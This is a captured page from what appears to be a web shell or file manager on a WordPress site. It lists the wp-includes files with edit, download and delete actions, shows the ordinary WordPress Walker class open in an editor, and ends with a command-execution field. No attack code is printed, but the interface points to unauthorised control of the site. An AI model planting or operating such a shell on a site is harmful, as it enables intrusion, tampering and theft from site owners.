/
home
/
altere25
/
highwoodoutdoorpool.com
/
wp-includes
/
/home/altere25/highwoodoutdoorpool.com/wp-includes
mkdir
upload
Name
Size
Mode
Actions
assets/
-
0755
rm
blocks/
-
0755
rm
certificates/
-
0755
rm
css/
-
0755
rm
customize/
-
0755
rm
fonts/
-
0755
rm
ID3/
-
0755
rm
images/
-
0755
rm
IXR/
-
0755
rm
js/
-
0755
rm
pomo/
-
0755
rm
random_compat/
-
0755
rm
Requests/
-
0755
rm
rest-api/
-
0755
rm
SimplePie/
-
0755
rm
sodium_compat/
-
0755
rm
Text/
-
0755
rm
theme-compat/
-
0755
rm
widgets/
-
0755
rm
.htaccess
178
0644
edit
dl
rm
admin-bar.php
31315
0644
edit
dl
rm
atomlib.php
11840
0644
edit
dl
rm
author-template.php
17037
0644
edit
dl
rm
blocks.php
19262
0644
edit
dl
rm
bookmark-template.php
12503
0644
edit
dl
rm
bookmark.php
15014
0644
edit
dl
rm
cache.php
8801
0644
edit
dl
rm
canonical.php
29628
0644
edit
dl
rm
capabilities.php
34685
0644
edit
dl
rm
category-template.php
53088
0644
edit
dl
rm
category.php
12202
0644
edit
dl
rm
class-feed.php
529
0644
edit
dl
rm
class-http.php
39108
0644
edit
dl
rm
class-IXR.php
2543
0644
edit
dl
rm
class-json.php
43447
0644
edit
dl
rm
class-oembed.php
407
0644
edit
dl
rm
class-phpass.php
7319
0644
edit
dl
rm
class-phpmailer.php
148589
0644
edit
dl
rm
class-pop3.php
20919
0644
edit
dl
rm
class-requests.php
29804
0644
edit
dl
rm
class-simplepie.php
89261
0644
edit
dl
rm
class-smtp.php
40919
0644
edit
dl
rm
class-snoopy.php
37785
0644
edit
dl
rm
class-walker-category-dropdown.php
2127
0644
edit
dl
rm
class-walker-category.php
7874
0644
edit
dl
rm
class-walker-comment.php
13683
0644
edit
dl
rm
class-walker-nav-menu.php
8650
0644
edit
dl
rm
class-walker-page-dropdown.php
2299
0644
edit
dl
rm
class-walker-page.php
7033
0644
edit
dl
rm
class-wp-admin-bar.php
17185
0644
edit
dl
rm
class-wp-ajax-response.php
5236
0644
edit
dl
rm
class-wp-block-parser.php
15215
0644
edit
dl
rm
class-wp-block-styles-registry.php
4728
0644
edit
dl
rm
class-wp-block-type-registry.php
5091
0644
edit
dl
rm
class-wp-block-type.php
4815
0644
edit
dl
rm
class-wp-comment-query.php
44522
0644
edit
dl
rm
class-wp-comment.php
8968
0644
edit
dl
rm
class-wp-customize-control.php
25505
0644
edit
dl
rm
class-wp-customize-manager.php
200156
0644
edit
dl
rm
class-wp-customize-nav-menus.php
54965
0644
edit
dl
rm
class-wp-customize-panel.php
10406
0644
edit
dl
rm
class-wp-customize-section.php
10974
0644
edit
dl
rm
class-wp-customize-setting.php
29680
0644
edit
dl
rm
class-wp-customize-widgets.php
66974
0644
edit
dl
rm
class-wp-date-query.php
35280
0644
edit
dl
rm
class-wp-dependency.php
2500
0644
edit
dl
rm
class-wp-editor.php
70665
0644
edit
dl
rm
class-wp-embed.php
14802
0644
edit
dl
rm
class-wp-error.php
4923
0644
edit
dl
rm
class-wp-fatal-error-handler.php
7416
0644
edit
dl
rm
class-wp-feed-cache-transient.php
2560
0644
edit
dl
rm
class-wp-feed-cache.php
749
0644
edit
dl
rm
class-wp-hook.php
14051
0644
edit
dl
rm
class-wp-http-cookie.php
7146
0644
edit
dl
rm
class-wp-http-curl.php
12330
0644
edit
dl
rm
class-wp-http-encoding.php
6510
0644
edit
dl
rm
class-wp-http-ixr-client.php
3339
0644
edit
dl
rm
class-wp-http-proxy.php
6077
0644
edit
dl
rm
class-wp-http-requests-hooks.php
1950
0644
edit
dl
rm
class-wp-http-requests-response.php
4343
0644
edit
dl
rm
class-wp-http-response.php
2951
0644
edit
dl
rm
class-wp-http-streams.php
16079
0644
edit
dl
rm
class-wp-image-editor-gd.php
14104
0644
edit
dl
rm
class-wp-image-editor-imagick.php
29052
0644
edit
dl
rm
class-wp-image-editor.php
14016
0644
edit
dl
rm
class-wp-list-util.php
6407
0644
edit
dl
rm
class-wp-locale-switcher.php
5022
0644
edit
dl
rm
class-wp-locale.php
13914
0644
edit
dl
rm
class-wp-matchesmapregex.php
1805
0644
edit
dl
rm
class-wp-meta-query.php
27855
0644
edit
dl
rm
class-wp-metadata-lazyloader.php
5386
0644
edit
dl
rm
class-wp-network-query.php
18372
0644
edit
dl
rm
class-wp-network.php
12376
0644
edit
dl
rm
class-wp-object-cache.php
12848
0644
edit
dl
rm
class-wp-oembed-controller.php
6027
0644
edit
dl
rm
class-wp-oembed.php
30476
0644
edit
dl
rm
class-wp-paused-extensions-storage.php
4931
0644
edit
dl
rm
class-wp-post-type.php
19533
0644
edit
dl
rm
class-wp-post.php
6441
0644
edit
dl
rm
class-wp-query.php
132783
0644
edit
dl
rm
class-wp-recovery-mode-cookie-service.php
6457
0644
edit
dl
rm
class-wp-recovery-mode-email-service.php
10121
0644
edit
dl
rm
class-wp-recovery-mode-key-service.php
4282
0644
edit
dl
rm
class-wp-recovery-mode-link-service.php
3368
0644
edit
dl
rm
class-wp-recovery-mode.php
11356
0644
edit
dl
rm
class-wp-rewrite.php
60831
0644
edit
dl
rm
class-wp-role.php
2792
0644
edit
dl
rm
class-wp-roles.php
8406
0644
edit
dl
rm
class-wp-session-tokens.php
7431
0644
edit
dl
rm
class-wp-simplepie-file.php
2328
0644
edit
dl
rm
class-wp-simplepie-sanitize-kses.php
1775
0644
edit
dl
rm
class-wp-site-query.php
28532
0644
edit
dl
rm
class-wp-site.php
7367
0644
edit
dl
rm
class-wp-tax-query.php
19442
0644
edit
dl
rm
class-wp-taxonomy.php
10842
0644
edit
dl
rm
class-wp-term-query.php
35527
0644
edit
dl
rm
class-wp-term.php
5265
0644
edit
dl
rm
class-wp-text-diff-renderer-inline.php
716
0644
edit
dl
rm
class-wp-text-diff-renderer-table.php
16831
0644
edit
dl
rm
class-wp-theme.php
51704
0644
edit
dl
rm
class-wp-user-meta-session-tokens.php
2990
0644
edit
dl
rm
class-wp-user-query.php
31302
0644
edit
dl
rm
class-wp-user-request.php
1996
0644
edit
dl
rm
class-wp-user.php
21872
0644
edit
dl
rm
class-wp-walker.php
12722
0644
edit
dl
rm
class-wp-widget-factory.php
2620
0644
edit
dl
rm
class-wp-widget.php
17902
0644
edit
dl
rm
class-wp-xmlrpc-server.php
210317
0644
edit
dl
rm
class-wp.php
24688
0644
edit
dl
rm
class.wp-dependencies.php
12674
0644
edit
dl
rm
class.wp-scripts.php
18150
0644
edit
dl
rm
class.wp-styles.php
10682
0644
edit
dl
rm
comment-template.php
92992
0644
edit
dl
rm
comment.php
117641
0644
edit
dl
rm
compat.php
12989
0644
edit
dl
rm
cron.php
32667
0644
edit
dl
rm
date.php
406
0644
edit
dl
rm
default-constants.php
10157
0644
edit
dl
rm
default-filters.php
26110
0644
edit
dl
rm
default-widgets.php
2123
0644
edit
dl
rm
deprecated.php
114945
0644
edit
dl
rm
embed-template.php
341
0644
edit
dl
rm
embed.php
47626
0644
edit
dl
rm
error-protection.php
3385
0644
edit
dl
rm
feed-atom-comments.php
5444
0644
edit
dl
rm
feed-atom.php
3102
0644
edit
dl
rm
feed-rdf.php
2668
0644
edit
dl
rm
feed-rss.php
1189
0644
edit
dl
rm
feed-rss2-comments.php
4088
0644
edit
dl
rm
feed-rss2.php
3799
0644
edit
dl
rm
feed.php
22060
0644
edit
dl
rm
formatting.php
299006
0644
edit
dl
rm
functions.php
231776
0644
edit
dl
rm
functions.wp-scripts.php
12842
0644
edit
dl
rm
functions.wp-styles.php
8245
0644
edit
dl
rm
general-template.php
152929
0644
edit
dl
rm
http.php
24317
0644
edit
dl
rm
kses.php
59004
0644
edit
dl
rm
l10n.php
53829
0644
edit
dl
rm
link-template.php
143795
0644
edit
dl
rm
load.php
43955
0644
edit
dl
rm
locale.php
162
0644
edit
dl
rm
media-template.php
58104
0644
edit
dl
rm
media.php
151345
0644
edit
dl
rm
meta.php
50493
0644
edit
dl
rm
ms-blogs.php
24986
0644
edit
dl
rm
ms-default-constants.php
4787
0644
edit
dl
rm
ms-default-filters.php
6428
0644
edit
dl
rm
ms-deprecated.php
21122
0644
edit
dl
rm
ms-files.php
2641
0644
edit
dl
rm
ms-functions.php
89438
0644
edit
dl
rm
ms-load.php
19797
0644
edit
dl
rm
ms-network.php
3658
0644
edit
dl
rm
ms-settings.php
4122
0644
edit
dl
rm
ms-site.php
43033
0644
edit
dl
rm
nav-menu-template.php
22150
0644
edit
dl
rm
nav-menu.php
41745
0644
edit
dl
rm
option.php
70890
0644
edit
dl
rm
pluggable-deprecated.php
6263
0644
edit
dl
rm
pluggable.php
101305
0644
edit
dl
rm
plugin.php
32201
0644
edit
dl
rm
post-formats.php
7069
0644
edit
dl
rm
post-template.php
63160
0644
edit
dl
rm
post-thumbnail-template.php
9021
0644
edit
dl
rm
post.php
246573
0644
edit
dl
rm
query.php
34218
0644
edit
dl
rm
registration-functions.php
202
0644
edit
dl
rm
registration.php
202
0644
edit
dl
rm
rest-api.php
47360
0644
edit
dl
rm
revision.php
21710
0644
edit
dl
rm
rewrite.php
18048
0644
edit
dl
rm
rss-functions.php
211
0644
edit
dl
rm
rss.php
23208
0644
edit
dl
rm
script-loader.php
104915
0644
edit
dl
rm
session.php
258
0644
edit
dl
rm
shortcodes.php
22355
0644
edit
dl
rm
spl-autoload-compat.php
443
0644
edit
dl
rm
taxonomy.php
158347
0644
edit
dl
rm
template-loader.php
3352
0644
edit
dl
rm
template.php
21046
0644
edit
dl
rm
theme.php
104946
0644
edit
dl
rm
update.php
25689
0644
edit
dl
rm
user.php
132580
0644
edit
dl
rm
vars.php
5820
0644
edit
dl
rm
version.php
766
0644
edit
dl
rm
widgets.php
58785
0644
edit
dl
rm
wlwmanifest.xml
1045
0644
edit
dl
rm
wp-db.php
103912
0644
edit
dl
rm
wp-diff.php
647
0644
edit
dl
rm
Edit:
/home/altere25/highwoodoutdoorpool.com/wp-includes/class-wp-walker.php
(12722B)
<?php /** * A class for displaying various tree-like structures. * * Extend the Walker class to use it, see examples below. Child classes * do not need to implement all of the abstract methods in the class. The child * only needs to implement the methods that are needed. * * @since 2.1.0 * * @package WordPress * @abstract */ class Walker { /** * What the class handles. * * @since 2.1.0 * @var string */ public $tree_type; /** * DB fields to use. * * @since 2.1.0 * @var array */ public $db_fields; /** * Max number of pages walked by the paged walker * * @since 2.7.0 * @var int */ public $max_pages = 1; /** * Whether the current element has children or not. * * To be used in start_el(). * * @since 4.0.0 * @var bool */ public $has_children; /** * Starts the list before the elements are added. * * The $args parameter holds additional values that may be used with the child * class methods. This method is called at the start of the output list. * * @since 2.1.0 * @abstract * * @param string $output Used to append additional content (passed by reference). * @param int $depth Depth of the item. * @param array $args An array of additional arguments. */ public function start_lvl( &$output, $depth = 0, $args = array() ) {} /** * Ends the list of after the elements are added. * * The $args parameter holds additional values that may be used with the child * class methods. This method finishes the list at the end of output of the elements. * * @since 2.1.0 * @abstract * * @param string $output Used to append additional content (passed by reference). * @param int $depth Depth of the item. * @param array $args An array of additional arguments. */ public function end_lvl( &$output, $depth = 0, $args = array() ) {} /** * Start the element output. * * The $args parameter holds additional values that may be used with the child * class methods. Includes the element output also. * * @since 2.1.0 * @abstract * * @param string $output Used to append additional content (passed by reference). * @param object $object The data object. * @param int $depth Depth of the item. * @param array $args An array of additional arguments. * @param int $current_object_id ID of the current item. */ public function start_el( &$output, $object, $depth = 0, $args = array(), $current_object_id = 0 ) {} /** * Ends the element output, if needed. * * The $args parameter holds additional values that may be used with the child class methods. * * @since 2.1.0 * @abstract * * @param string $output Used to append additional content (passed by reference). * @param object $object The data object. * @param int $depth Depth of the item. * @param array $args An array of additional arguments. */ public function end_el( &$output, $object, $depth = 0, $args = array() ) {} /** * Traverse elements to create list from elements. * * Display one element if the element doesn't have any children otherwise, * display the element and its children. Will only traverse up to the max * depth and no ignore elements under that depth. It is possible to set the * max depth to include all depths, see walk() method. * * This method should not be called directly, use the walk() method instead. * * @since 2.5.0 * * @param object $element Data object. * @param array $children_elements List of elements to continue traversing (passed by reference). * @param int $max_depth Max depth to traverse. * @param int $depth Depth of current element. * @param array $args An array of arguments. * @param string $output Used to append additional content (passed by reference). */ public function display_element( $element, &$children_elements, $max_depth, $depth, $args, &$output ) { if ( ! $element ) { return; } $id_field = $this->db_fields['id']; $id = $element->$id_field; // Display this element. $this->has_children = ! empty( $children_elements[ $id ] ); if ( isset( $args[0] ) && is_array( $args[0] ) ) { $args[0]['has_children'] = $this->has_children; // Back-compat. } $this->start_el( $output, $element, $depth, ...array_values( $args ) ); // Descend only when the depth is right and there are childrens for this element. if ( ( 0 == $max_depth || $max_depth > $depth + 1 ) && isset( $children_elements[ $id ] ) ) { foreach ( $children_elements[ $id ] as $child ) { if ( ! isset( $newlevel ) ) { $newlevel = true; // Start the child delimiter. $this->start_lvl( $output, $depth, ...array_values( $args ) ); } $this->display_element( $child, $children_elements, $max_depth, $depth + 1, $args, $output ); } unset( $children_elements[ $id ] ); } if ( isset( $newlevel ) && $newlevel ) { // End the child delimiter. $this->end_lvl( $output, $depth, ...array_values( $args ) ); } // End this element. $this->end_el( $output, $element, $depth, ...array_values( $args ) ); } /** * Display array of elements hierarchically. * * Does not assume any existing order of elements. * * $max_depth = -1 means flatly display every element. * $max_depth = 0 means display all levels. * $max_depth > 0 specifies the number of display levels. * * @since 2.1.0 * @since 5.3.0 Formalized the existing `...$args` parameter by adding it * to the function signature. * * @param array $elements An array of elements. * @param int $max_depth The maximum hierarchical depth. * @param mixed ...$args Optional additional arguments. * @return string The hierarchical item output. */ public function walk( $elements, $max_depth, ...$args ) { $output = ''; // Invalid parameter or nothing to walk. if ( $max_depth < -1 || empty( $elements ) ) { return $output; } $parent_field = $this->db_fields['parent']; // Flat display. if ( -1 == $max_depth ) { $empty_array = array(); foreach ( $elements as $e ) { $this->display_element( $e, $empty_array, 1, 0, $args, $output ); } return $output; } /* * Need to display in hierarchical order. * Separate elements into two buckets: top level and children elements. * Children_elements is two dimensional array, eg. * Children_elements[10][] contains all sub-elements whose parent is 10. */ $top_level_elements = array(); $children_elements = array(); foreach ( $elements as $e ) { if ( empty( $e->$parent_field ) ) { $top_level_elements[] = $e; } else { $children_elements[ $e->$parent_field ][] = $e; } } /* * When none of the elements is top level. * Assume the first one must be root of the sub elements. */ if ( empty( $top_level_elements ) ) { $first = array_slice( $elements, 0, 1 ); $root = $first[0]; $top_level_elements = array(); $children_elements = array(); foreach ( $elements as $e ) { if ( $root->$parent_field == $e->$parent_field ) { $top_level_elements[] = $e; } else { $children_elements[ $e->$parent_field ][] = $e; } } } foreach ( $top_level_elements as $e ) { $this->display_element( $e, $children_elements, $max_depth, 0, $args, $output ); } /* * If we are displaying all levels, and remaining children_elements is not empty, * then we got orphans, which should be displayed regardless. */ if ( ( 0 == $max_depth ) && count( $children_elements ) > 0 ) { $empty_array = array(); foreach ( $children_elements as $orphans ) { foreach ( $orphans as $op ) { $this->display_element( $op, $empty_array, 1, 0, $args, $output ); } } } return $output; } /** * paged_walk() - produce a page of nested elements * * Given an array of hierarchical elements, the maximum depth, a specific page number, * and number of elements per page, this function first determines all top level root elements * belonging to that page, then lists them and all of their children in hierarchical order. * * $max_depth = 0 means display all levels. * $max_depth > 0 specifies the number of display levels. * * @since 2.7.0 * @since 5.3.0 Formalized the existing `...$args` parameter by adding it * to the function signature. * * @param array $elements * @param int $max_depth The maximum hierarchical depth. * @param int $page_num The specific page number, beginning with 1. * @param int $per_page * @param mixed ...$args Optional additional arguments. * @return string XHTML of the specified page of elements */ public function paged_walk( $elements, $max_depth, $page_num, $per_page, ...$args ) { if ( empty( $elements ) || $max_depth < -1 ) { return ''; } $output = ''; $parent_field = $this->db_fields['parent']; $count = -1; if ( -1 == $max_depth ) { $total_top = count( $elements ); } if ( $page_num < 1 || $per_page < 0 ) { // No paging. $paging = false; $start = 0; if ( -1 == $max_depth ) { $end = $total_top; } $this->max_pages = 1; } else { $paging = true; $start = ( (int) $page_num - 1 ) * (int) $per_page; $end = $start + $per_page; if ( -1 == $max_depth ) { $this->max_pages = ceil( $total_top / $per_page ); } } // Flat display. if ( -1 == $max_depth ) { if ( ! empty( $args[0]['reverse_top_level'] ) ) { $elements = array_reverse( $elements ); $oldstart = $start; $start = $total_top - $end; $end = $total_top - $oldstart; } $empty_array = array(); foreach ( $elements as $e ) { $count++; if ( $count < $start ) { continue; } if ( $count >= $end ) { break; } $this->display_element( $e, $empty_array, 1, 0, $args, $output ); } return $output; } /* * Separate elements into two buckets: top level and children elements. * Children_elements is two dimensional array, e.g. * $children_elements[10][] contains all sub-elements whose parent is 10. */ $top_level_elements = array(); $children_elements = array(); foreach ( $elements as $e ) { if ( 0 == $e->$parent_field ) { $top_level_elements[] = $e; } else { $children_elements[ $e->$parent_field ][] = $e; } } $total_top = count( $top_level_elements ); if ( $paging ) { $this->max_pages = ceil( $total_top / $per_page ); } else { $end = $total_top; } if ( ! empty( $args[0]['reverse_top_level'] ) ) { $top_level_elements = array_reverse( $top_level_elements ); $oldstart = $start; $start = $total_top - $end; $end = $total_top - $oldstart; } if ( ! empty( $args[0]['reverse_children'] ) ) { foreach ( $children_elements as $parent => $children ) { $children_elements[ $parent ] = array_reverse( $children ); } } foreach ( $top_level_elements as $e ) { $count++; // For the last page, need to unset earlier children in order to keep track of orphans. if ( $end >= $total_top && $count < $start ) { $this->unset_children( $e, $children_elements ); } if ( $count < $start ) { continue; } if ( $count >= $end ) { break; } $this->display_element( $e, $children_elements, $max_depth, 0, $args, $output ); } if ( $end >= $total_top && count( $children_elements ) > 0 ) { $empty_array = array(); foreach ( $children_elements as $orphans ) { foreach ( $orphans as $op ) { $this->display_element( $op, $empty_array, 1, 0, $args, $output ); } } } return $output; } /** * Calculates the total number of root elements. * * @since 2.7.0 * * @param array $elements Elements to list. * @return int Number of root elements. */ public function get_number_of_root_elements( $elements ) { $num = 0; $parent_field = $this->db_fields['parent']; foreach ( $elements as $e ) { if ( 0 == $e->$parent_field ) { $num++; } } return $num; } /** * Unset all the children for a given top level element. * * @since 2.7.0 * * @param object $e * @param array $children_elements */ public function unset_children( $e, &$children_elements ) { if ( ! $e || ! $children_elements ) { return; } $id_field = $this->db_fields['id']; $id = $e->$id_field; if ( ! empty( $children_elements[ $id ] ) && is_array( $children_elements[ $id ] ) ) { foreach ( (array) $children_elements[ $id ] as $child ) { $this->unset_children( $child, $children_elements ); } } unset( $children_elements[ $id ] ); } }
Save
cmd:
run